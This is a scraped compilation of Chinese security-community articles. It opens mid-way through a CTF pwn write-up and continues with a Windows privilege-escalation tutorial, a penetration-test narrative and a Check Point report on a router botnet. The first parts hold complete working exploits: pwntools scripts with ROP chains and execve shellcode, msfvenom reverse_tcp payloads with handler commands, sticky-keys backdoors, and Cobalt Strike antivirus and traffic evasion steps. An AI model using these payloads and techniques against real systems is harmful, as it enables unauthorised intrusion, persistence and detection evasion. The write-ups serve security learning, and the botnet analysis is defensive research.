sh.sendline('+[>.+],')
sh.recvuntil('x00' * 0x3FF)
code_low_addr = u64(sh.recv(1).ljust(8,'x00'))
success("code low bit --> " + str(hex(code_low_addr)))
payload = code_low_addr + 0x20
payload = p8((payload) & 0xFF)
sh.send(payload)
sh.recvuntil("done! your code: ", timeout = 0.3)
esp_addr = u64(sh.recv(6).ljust(8,'x00')) - 0x5C0
info('ESP addr-->'+str(hex(esp_addr)))
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x38) & 0xFF))
sh.recvuntil("done! your code: ", timeout = 0.3)
libc.address = u64(sh.recv(6).ljust(8,'x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
info('LIBC ADDRESS --> ' + str(hex(libc.address)))
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr + 0x30) & 0xFF))
sh.recvuntil("done! your code: ", timeout = 0.3)
PIE_address = u64(sh.recv(6).ljust(8,'x00')) - 0x4980
info('PIE ADDRESS --> ' + str(hex(PIE_address)))
# read(0,BSS+0x400,0x20)
ROP_chain = p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# open(BSS+0x400,0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(PIE_address + bf.bss() + 0x400)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(2)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# read(3,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(3)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# write(0,BSS+0x500,0x20)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x0000000000023e6a)
ROP_chain += p64(PIE_address + bf.bss() + 0x500)
ROP_chain += p64(libc.address + 0x0000000000001b96)
ROP_chain += p64(0x20)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x00000000000d2975)
# exit(0)
ROP_chain += p64(libc.address + 0x000000000002155f)
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x00000000000439c8)
ROP_chain += p64(60)
ROP_chain += p64(libc.address + 0x00000000000d2975)
for i in ['[',']']:
if i in ROP_chain:
raise ValueError('ROP_chain ERROR')
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline(p64(0) + ROP_chain)
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('y')
sh.recvuntil('enter your code:' , timeout = 0.3)
sh.sendline('+[>.+],')
sh.send(p8((code_low_addr) & 0xFF))
sh.send(p8((code_low_addr) & 0xFF))
# get_gdb(sh)
sh.recvuntil('want to continue?' , timeout = 0.3)
sh.send('n')
sh.send('/flag')
# sh.interactive()
flag = sh.recvrepeat(0.3)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
continue
if __name__ == "__main__":
flag = Attack()
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x05 以 2020 DAS-CTF OJ0 为例
> 安恒月赛的题目为闭源信息，本例题不会给出任何形式的附件下载地址
### 题目信息
可以发现，这是一个C语言的解释器，可以执行我们输入的任意代码，然后依据题目要求输出指定信息后，会执行`tree
/home/ctf`命令，从而告知我们`flag`文件的具体位置。
接下来我们需要构造代码进行`flag`的读取。
### 漏洞利用
根据题目信息回显，可以发现，题目应该是存在有黑名单机制，那么我们不考虑启动`shell`，转而考虑使用`ORW`的方式获取`flag`，那么最简单的程序：
#include<stdio.h>
int main(){
char buf[50];
char path[50] = "/home/ctf/flagx00";
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@
可以发现被过滤了，那么考虑黑名单应该会检测整段代码，以防止出现`home`、`ctf`、`flag`等敏感字符，那么我们可以利用`string`函数进行字符串的拼接来绕过保护。
### FInal Exploit
#include<stdio.h>
#include<string.h>
int main(){
char buf[50];
char path_part_1[5] = "/hom";
char path_part_2[5] = "e/ct";
char path_part_3[5] = "f/fl";
char path_part_4[5] = "agx00";
char path[20];
sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4);
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@
## 0x06 以 DEFCON CTF Qualifier 2020 introool 为例
> 题目地址：<https://github.com/o-o-overflow/dc2020q-introool-public>
### 题目信息
无二进制文件，拉取项目直接启动`docker`即可
1. 题目要求首先给出一个用于填充的字符，要求这个字符必须大于等于`0x80`。
2. 接下来要求给出填充的长度，这个长度要求介于`0x80`~`0x800`之间。
3. 接下来询问要`patch`哪个地址处的字节，用于`patch`的字符是什么。
4. 接下来再次询问要`patch`哪个地址处的字节，用于`patch`的字符是什么。
5. 最后要求给出三个`ROP gadgets`。
6. 在我们给定了以上参数之后，程序会生成一个`ELF`文件，我们可以运行它，也可以查看其内容。
生成的`ELF`文件仅开启了`NX`保护
经过反编译我们可以看到，我们的`patch`是从`0x4000EC`，也就是`main +
4`处开始，最短填充至`0x40016C`，`main`函数对应的汇编码就为：
push rbp
mov rbp,rsp
[patch data]
mov eax,0
pop rbp
ret
然后我们写入的三个`ROP_gadgets`将会被写入到`bss`段。
栈上将填满环境变量，这将导致我们正常情况下的`main`函数返回值将会是一个非法值。
### 漏洞利用
那么对于这道题目，我们利用的是`ELF`文件的一个特性：
**当数据段未页对齐时，其中的内容将也被映射到`text`段的末尾。**
也就是说，对于这个题目来说，位于`bss`段的`ROP_gadgets`将会被映射到`text`段中，
那么，如果我们将`ROP_gadgets`替换为`shellcode`，再利用`patch`加入跳转指令，跳转至`shellcode`即可。
可以使用`ret rel8`形式的跳转，这种跳转的通常为`EB XX`，例如本题应该使用`EB 46`代表的汇编语句是`jmp
0x48`，但是，这里的`0x48`是相对地址，相对于 **本条地址** 的偏移，例如我们将`0x40068`处的代码改为`jmp
0x48`，反汇编后，这里的代码将显示为`jmp 0x4001B0`。
那么，我们接下来直接去`exploit-db`寻找好用的`shellcode`即可：
0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall
### FInal Exploit
from pwn import *
import traceback
import sys
import base64
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./file_name")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./file_name")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
sh.recvuntil('> ')
sh.sendline('90') # NOP byte
sh.recvuntil('> ')
sh.sendline('80') # NOP size
sh.recvuntil(': ')
sh.sendline('7C') # patch offset
sh.recvuntil(': ')
sh.sendline('EB') # patch value
sh.recvuntil(': ')
sh.sendline('7D') # patch offset
sh.recvuntil(': ')
sh.sendline('46') # patch value
sh.recvuntil('[1/3] > ')
sh.sendline('504831d24831f648') # ROP
sh.recvuntil('[2/3] > ')
sh.sendline('bb2f62696e2f2f73') # ROP
sh.recvuntil('[3/3] > ')
sh.sendline('6853545fb03b0f05') # ROP
sh.recvuntil('> ')
# sh.sendline('1') # Watch
# open('./introool','w').write(base64.b64decode(sh.recvuntil('n',drop=True)))
sh.sendline('2') # Attack
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x07 以 [Redhat2019] Kaleidoscope 为例
> 题目地址：<https://pan.baidu.com/s/18-GLNWmJejh-UZrK1hOQTA>
### 题目信息
没有开启`Canary`和`RELRO`保护的`64`位程序
通过试运行的结果，可以确定这是一个解释器
当我们把它加载到`IDA`中时，我们就可以很明显的看出，此程序使用了`C++`语言编写，并且在编译时启用了一些`LLVM`的优化选项，使得我们的代码识读变得十分困难，我们可以通过题目名以及一些题目中的固定字符串去发现，这是一个`Kaleidoscope`即时解释器，`LLVM`项目将其作为例程来表示如何去构建一个即时解释器，我们可以在
[Building a JIT: Starting out with
KaleidoscopeJIT](https://llvm.org/docs/tutorial/BuildingAJIT1.html)
找到这个例程的解释，同时可以在 [llvm-kaleidoscope](https://github.com/ghaiklor/llvm-kaleidoscope) 处找到该项目的源码。
该项目的`main`函数源码是形如这样子的：
int main() {
BinopPrecedence['<'] = 10;
BinopPrecedence['+'] = 20;
BinopPrecedence['-'] = 20;
BinopPrecedence['*'] = 40;
fprintf(stderr, "ready> ");
getNextToken();
TheModule = llvm::make_unique<Module>("My awesome JIT", TheContext);
MainLoop();
TheModule->print(errs(), nullptr);
return 0;
}
但是本题的`main`函数的反编译结果却是：
这种代码会令人十分的难以去理解，但是通过比较这两段代码可以发现，这段代码额外的定义了一个`=`操作符，一般情况下，这种额外的定义往往会伴随着漏洞的发生，但是由于此处的代码分析量实在是过于庞杂，因此我们此处考虑使用`fuzz`的思路。
### `fuzz`测试
此处我们决定使用`honggfuzz`这个模糊测试工具，这是一个由`Google`维护的一个`fuzz`工具。
#### 安装`honggfuzz`(以`ubuntu 16.04`为例)
首先我们需要拉取项目
git clone https://github.com/google/honggfuzz.git
cd honggfuzz
然后需要安装相关的依赖库文件
apt-get install libbfd-dev libunwind8-dev clang-5.0 lzma-dev
接下来需要确认`lzma`的存在：
locate lzma
如果发现只有`liblzma.so.x`文件，那么需要建立一个符号链接
sudo ln -s /lib/x86_64-linux-gnu/liblzma.so.5 /lib/x86_64-linux-gnu/liblzma.so
接下来执行以下命令来完成编译安装：
sudo make
cp libhfcommon includes/libhfcommon
cp libhfnetdriver includes/libhfnetdriver
cp libhfuzz includes/libhfuzz
sudo make install
至此，我们的`honggfuzz`主程序安装结束。
#### 安装`honggfuzz-qemu`(以`ubuntu 16.04`为例)
接下来因为我们要进行`fuzz`的是黑盒状态下的程序，因此我们需要使用`qemu`模式来辅助我们监控`fuzz`的代码覆盖率，那么`honggfuzz`为我们提供了`honggfuzz`的`MAKEFILE`，我们直接使用如下命令即可安装
cd qemu_mode
make
sudo apt-get install libpixman-1-dev
cd honggfuzz-qemu && make
⚠️：使用`docker`化的`honggfuzz`时会产生变量类型的报错，目前没有找到解决方式，已经提了`issue`，因此不建议使用`docker`化的`honggfuzz`安装`honggfuzz-qemu`。
⚠️：安装时会使用`git`安装不同的几个包。
#### 启动测试
安装完毕后我们就可以启动`fuzz`测试了
honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/Kaleidoscope
其中，`/work/in/`是语料库文件夹，将我们所需要的种子语料以`txt`形式放置在语料库文件夹即可。
可以发现，在`1 h 25 min`分钟的时间里，就已经触发了一些`crash`：
### 漏洞分析
我们可以查看当前文件夹下生成的`crash`文件，里面存储了产生此`crash`所使用的输入样本，我们注意到，在这`14`个样本中，有一个形如:
def fib(x)
if x < 3 then
1
else
526142246948557=666
fib(40)
的样本，当我们把它喂进程序时，程序显示了一个较为异常的报错信息。
这里说程序无法处理我们给定的外部函数，可以发现这个报错里出现了`extern`关键字
那么我们进一步测试，发现当我们向程序输入`extern`关键字时会报错：
那么我们来定位这些报错的位置：
可以发现，当我们直接使用`extern`函数时会产生报错，而当我们采用形如：
def fib(x)
if x < 3 then
1
else
1=1
fib(40)
的输入时会直接调用`libLLVM.so`中的内容。
我们可以分析出以下调用过程，当我们向程序传递以上参数时，首先会经过解释器的函数解析，解析后会将我们要调用的函数名传递给`libLLVM.so`，然后通过其内部的`RTDyldMemoryManager::getPointerToNamedFunction`做函数指针的寻址，关于此函数[此处](https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290)有更加详细的解析。
那么此处我们是否可以通过这个机制来调用任意函数呢？我们构造以下数据来进行输入：
payload = '''
def puts(x)
if x < 3 then
1
else
1=1
puts(1234)
'''
get_gdb(sh,stop=True)
sh.recvuntil('ready> ')
sh.sendline(payload)
sleep(0.5)
sh.recvuntil('ready> ')
sh.sendline('1')
sh.interactive()
可以发现，的确调用了`libc`内的函数，且发现其参数正是我们传入的`1234`。
### 漏洞利用
那么我们只需要先调用`mmap(1048576, 4096, 7, 34, 0)`来分配一段空间以用来存储我们的`/bin/sh`
然后调用`read(0,1048576,10)`来读取我们的`/bin/sh`，最后再调用`system(1048576)`即可`getshell`
### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
Kaleidoscope=ELF('./Kaleidoscope', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Kaleidoscope")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Kaleidoscope")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = """
def mmap(x y z o p)
if x < 3 then
1
else
a=1
mmap(1048576, 4096, 7, 34, 0);
"""
sh.recvuntil('ready> ')
# get_gdb(sh)
sh.sendline(payload)
sleep(0.5)
payload = """
def read(x y z)
if m < 3 then
1
else
0=1
def system(x)
if m < 3 then
1
else
0=1
read(0, 1048576, 10);
system(1048576);
"""
sh.recvuntil('ready> ')
sh.sendline(payload)
sh.recvuntil('ready> ')
sh.sendline('/bin/shx00')
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x08 以 2020 DAS-CTF OJ1 为例
> 安恒月赛的题目为闭源信息，本例题不会给出任何形式的附件下载地址
### 解题思路
题目要求我们输入不带括号的C代码来执行，注意，此处的程序要求我们不允许带有任何形式的括号，包括大括号，中括号，小括号，这就使得我们无法通过常规的`C`代码形式提交，例如`int
main(){}`等等，这里我们给出一种奇特的可运行的`C`代码形式。
const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;
例如我们直接编译以上代码，在`main`处下断
那么我们直接找到对应汇编码即可。
## 0x09 参考链接
[【原】[Redhat2019] Kaleidoscope –
matshao](http://matshao.com/2019/11/11/Redhat2019-Kaleidoscope/) | 社区文章 |
本文翻译自：<http://www.hackingarticles.in/windows-privilege-escalation-unquoted-path-service/>
作者：AArti Singh
* * *
本文描述如何利用不带引号的服务路径（Unquoted service Path）来进行Windows权限提升。
# 不带引号的服务路径漏洞
该漏洞是与可执行文件的路径相关的，路径的文件名和文件名逐渐没有使用引号标签（“”）。如果有写权限，攻击者就可以用恶意exe文件替换原来的可执行文件，所以需要进行去管理权限提升。
**环境搭建**
受害者机器：Windows 7
攻击者机器：Kali Linux
首先下载和安装有漏洞的应用——photodex proshow，下载地址<https://www.exploit-db.com/exploits/24872/> 。
# 批量产生受害者机器
攻击者需要黑入Windows机器来获取meterpreter session。获取meterpreter session后，打开命令shell。
shell
目前有了local_user的shell访问权限，为了获取cmd的管理员权限，需要进行权限提升。首先，枚举运行在受害者设备上运行的所有服务，通过下面的命令在引号标签中的限制：
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
所以研究人员枚举出路径 `C:\Program Files\Photodex\ProShow
Producer\Scsiaccess.exe`，可以看出在文件名和路径中没有引号标签。
可以用下面的命令可以查看文件夹的权限：
icacls Scsiaccess.exe
可以看出对每个人都有写权限，也就是说用户raj可以覆写所有文件。
# 通过Prepend-migrate进行权限提升
可以将恶意文件放在与原始文件相同的文件夹中，可以授予管理权限，当服务重启后Windows就会加载恶意文件。
打开kali linux系统终端，输入下面的命令用msfvenom来生成exe payload：
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prepenmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
上面的命令会在桌面上创建一个恶意exe文件，然后发送给受害者。如果当前进程被杀，payload就会移动其进程；如果受害者从系统中杀掉payload的当前进程id，攻击者就不会失去它的session。
用恶意exe替换原exe文件，然后将原来的Scsiaccess.exe命名为Scsiaccess.exe.orginal，上传恶意Scsiaccess.exe文件到相同文件夹中，然后重启受害者机器。
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/ scsiaccess.exe
reboot
同时启动multi/handler listener，来抓取管理权限的meterpreter session。
use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
然后就获得了shell的管理权限。
# 通过加入用户管理员组进行权限提升
在以local_user登陆shell后，无论有没有管理权限都可以枚举username列表。然后研究任意发现`user:raaz`不是管理组成员。
net user
net user raaz
然后研究人员生成一个可以把`user:raaz`加入管理组的exe。Exe文件名会与原exe文件相同，比如Scsiaccess.exe。
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
然后重复上面的步骤，用恶意exe文件替换原来的exe文件，然后重启机器。
然后用户raaz是管理组成员了。
# 通过RDP & Sticky_keys进行权限提升
用msfvenom和Scsiaccess.exe名生成exe，然后转移到受害者机器上，同时用自动运行脚本同时运行多个句柄，自动运行脚本在服务重启后可以开启RDP服务。
use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit
在服务重启后，同样也需要设定自动运行脚本来开启sticky_keys。
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
从下图可以看出，另一个有管理权限的meterpreter session也开启了。通过RDP连接到受害者收集。
rdp 192.168.1.101
连续按5次shift键，就可以获取Command Prompt命令行环境的管理权限。 | 社区文章 |
在某次HW行动中对一个学校的资产进行渗透测试。在其一个智慧校园管理系统发现了一处sql注入。
可以看到可以选择以什么身份登陆，而且选择学生登陆的时候，还可以选择年级。
抓包看下是否存在数据库交互：
可以看到，会去服务器请求对应年级的数据，尝试添加单引号，出现报错，证实存在sql注入。
因为网站没有waf，所以直接拿sqlmap跑：
可以跑出管理员的账号，并且拿到了os-shell。
因为os-shell不方便，所以想弹个cs的shell或者上个webshell。但是当时局限于直接在web目录写shell，还有powershell反弹shell,前者不知道web绝对路径(尝试过在os-shell中利用dir命令来寻找web目录，但是他的目录是中文的，os-shell一直出错)，后者被杀毒软件阻止。
当时没有想到利用bitsadmin等系统工具来下载木马执行，所以想着利用管理员账号进行网站后台看看。
在后台发现了一处文件上传
尝试上传aspx(简单的前端检测绕过)。
返回500，但是文件却成功上传到了服务器。
访问aspx文件，出现403错误
应该是iis限制了目录文件的权限。这里有两种办法，一种是上传web.config文件来增加文件的执行权限，一种是尝试进行路径穿越。
这里选择上传web.config文件
再次访问，出现未编译错误
大概是因为整套源码都是已经预编译好的，无法直接使用ASPX脚本。
尝试上传asp文件，成功解析：
附：[web.config实战用法](https://www.jianshu.com/p/ca7ea37bb1c1 "web.config实战用法")
接着上传asp webshell,用蚁剑连接：
查看一下权限：
接下来想弹shell到cs进行提权和进一步横向。
tasklist看下有没有杀软：
有赛门铁克会检测流量，所以得绕下流量检测。可以利用合法证书来加密cs的流量。
ssl证书的话可以自己申请，也可以利用keytools伪造。申请完证书之后用openssl生成 keystore
1. openssl pkcs12 -export -in fullchain.pem -inkey key.pem -out stao.p12 -name stao.site -passout pass:mypass
2. keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore stao.store -srckeystore stao.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias stao.site
这里我还替换了cs的profile,c2 profile可以用来控制Beacon payload的行为,直接用了github现成的。
<https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.0.profile>
其他可以默认，但是要改一下其中ssl修改证书的配置，指定为我们刚刚生成的证书。
修改好profile之后，运行./c2lint2 xxx.profile检测一下。
没问题就可以运行cs服务器，并指定profile
nohup ./teamserver x.x.x.x password c2.profile &
启动客户端连接服务器，然后添加一个listeners，选择https的beacon
然后生成C#的payload,利用AVlator进行一下简单的免杀处理
将生成的exe利用蚁剑上传到服务器并执行，成功反弹shell。
接下来进行提权，systeminfo看下补丁。
可以利用<https://bugs.hacking8.com/tiquan/进行补丁的对比>
尝试下ms16-075,成功提权。
提权之后发现没有什么值得进一步渗透拿分的地方，因此写报告提交，over. | 社区文章 |
# Checkpoint针对家用路由器僵尸网络的分析
|
##### 译文声明
本文是翻译文章，文章原作者 Checkpoint，文章来源：checkpoint.com
原文地址：<https://research.checkpoint.com/good-zero-day-skiddie/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
Check
Point研究人员发现了某款家用路由器（HG532）的0Day漏洞（CVE-2017-17215），同时也发现了利用该漏洞的数十万次在野攻击行为。我们将攻击活动中使用的载荷标识为OKIRU/SATORI，这款攻击载荷为Mirai的新型变种，并且我们也发现了此次攻击活动幕后嫌犯的相关线索，根据其昵称，我们称之为“Nexus
Zeta”。
## 二、简介
在过去的十年中，具备网络连接功能的设备数量已增长到两百多亿，并且随着时间的推移，这类设备也变得越来越智能。然而，虽然这些设备在便利性方面令人满意，但Check
Point研究团队的最新研究成果表明，这些设备想要达到足够好的安全标准仍然有很长一段距离。
## 三、攻击活动
11月23日，Check Point研究人员注意到Check
Point部署的一些传感器及蜜罐反馈了若干可疑的安全警告。进一步分析后，我们发现攻击者利用某家用路由器的未知漏洞，针对该设备的37215端口发起规模庞大的攻击。我们在全世界各地部署了多个传感器，这些传感器都检测到了同样的攻击模式，其中受攻击影响较大的国家分别为：美国、意大利、德国以及埃及等。
我们的分析人员确认这一情况后，第一时间将漏洞信息[报告](http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en)给了相关厂商，以阻止攻击规模进一步扩张。
该厂商安全团队的沟通非常迅速也十分畅通，他们快速修复了这一漏洞，并向客户发布了更新补丁。与此同时，我们的团队也研发并公布了一种[IPS防护方案](https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-1016.html)，以确保Check
Point的客户可以第一时间得到保护。
图1. 全球攻击分布情况
## 四、0Day漏洞（CVE-2017-17215）
该家用网关设备采用了通用即插即用（Universal Plug and
Play，UPnP）协议。根据TR-064技术报告标准，嵌入式设备中广泛使用该协议来实现无缝连接，可以简化家庭及企业环境中网络的搭建及部署工作流程。
TR-064的设计理念是服务于本地网络配置场景。比如，工程师可以通过TR-064在内部网络中实现基本的设备配置、固件升级等功能。
这款路由器实现了TR-064协议，并通过WAN口上的37215端口（UPnP）提供正常功能。
查看该设备的UPnP描述信息后，我们发现该设备支持名为`DeviceUpgrade`的一种服务类型。设备可以通过这种服务更新固件，具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求（我们将该地址称之为controlURL），请求中包含`NewStatusURL`及`NewDownloadURL`两个元素。
远程管理员可以通过该漏洞在设备上执行任意命令，具体方法是将shell元字符“$()”注入`NewStatusURL`以及`NewDownloadURL`元素中，如下所示：
图2. 攻击方法
执行这个操作后，设备会返回默认的UPNP消息，启动“升级”过程。
图3. 攻击者注入命令，在存在漏洞的设备上下载并执行恶意载荷
图4. VirusTotal上该载荷之前（上图）及现在（下图）的检测情况
## 五、载荷工作过程
攻击载荷的功能非常简单。该僵尸程序（bot）的主要功能是使用自制的UDP或者TCP数据包来泛洪攻击目标。
开始执行时，僵尸程序会读取硬编码的域名信息，发起DNS请求来解析C&C服务器的IP地址。随后，僵尸程序从DNS响应数据中提取相关地址信息，使用TCP协议尝试连接目标服务器的特定端口（7645端口，端口值已硬编码在样本程序中）。
与Mirai僵尸网络一样，该程序使用简单的异或（XOR）算法来解密DNS名称以及其他字符串，解密密钥为0x07。
此外，程序中还包含一个没有经过编码处理的字符串，这个字符串对应一个虚假的C&C域名，永远不会被程序所使用：
图5. 经过加密的真实域名及虚假的C&C域名
C&C服务器会返回泛洪攻击中使用的数据包数量及相应的参数信息：
图6. 解析C&C服务器返回的数据
此外，C&C服务器还可以通过单个IP地址或者子网地址及掩码值来指定攻击目标范围，对应的C语言伪代码如下所示：
图7. 针对某子网的随机IP地址生成过程
发送数据包后，僵尸程序不会等待被攻击目标的任何响应数据。
此外，僵尸程序文件中还包含大量未使用的字符串，其中既有经过混淆处理的字符串，也有明文字符串，然而这些字符串从来都不会被程序所使用。这些字符串很有可能是另一个僵尸程序或者先前版本的历史遗留数据。
## 六、C&C通信
僵尸程序使用自定义的协议来与C&C服务器通信。程序使用了两个硬编码的请求来接入服务器（这两个请求也可以用于僵尸节点标识）：
图8. 硬编码的C&C请求
图9. C&C请求样例
C&C服务器的响应数据中包含DDoS攻击的相关参数。只有响应数据的前两个字节为`00 00`或者`01
07`，僵尸程序才会执行DDoS攻击，否则就不会采取任何行动。如下所示：
图10. C&C响应数据样例
## 七、IoC
**攻击服务器地址及域名：**
93.97.219
211.123.69
7.59.177
106.110.90
nexusiotsolutions[.]net.
nexuszeta1337@gmail[.]com
**攻击载荷** ：
7a38ee6ee15bd89d50161b3061b763ea mips
f8130e86dc0fcdbcfa0d3b2425d3fcbf okiru.x86
fd2bd0bf25fc306cc391bdcde1fcaeda okiru.arm
## 八、幕后黑手
在分析这款恶意软件的过程中，就幕后黑手的专业水平方面我们提出过一些问题，但最后的答案并没有与我们预期的相符。
由于此次攻击流量据大，用到了未知的0Day漏洞，也使用了多个攻击服务器，因此一开始攻击者的真实身份是个不解之迷，人们猜测这种攻击可能与高级的国家行为有关，也可能与某些臭名昭著的网络犯罪团伙有关。
经过细致分析后，我们最终归纳出一个首要嫌疑犯：即昵称为“Nexxus
Zeta”的一个犯罪分子，我们之所以使用这个昵称，原因在于攻击者在注册僵尸网络的某个C&C域名（ _nexusiotsolutions[.]net_
）时，所使用的邮箱地址包含相关信息。
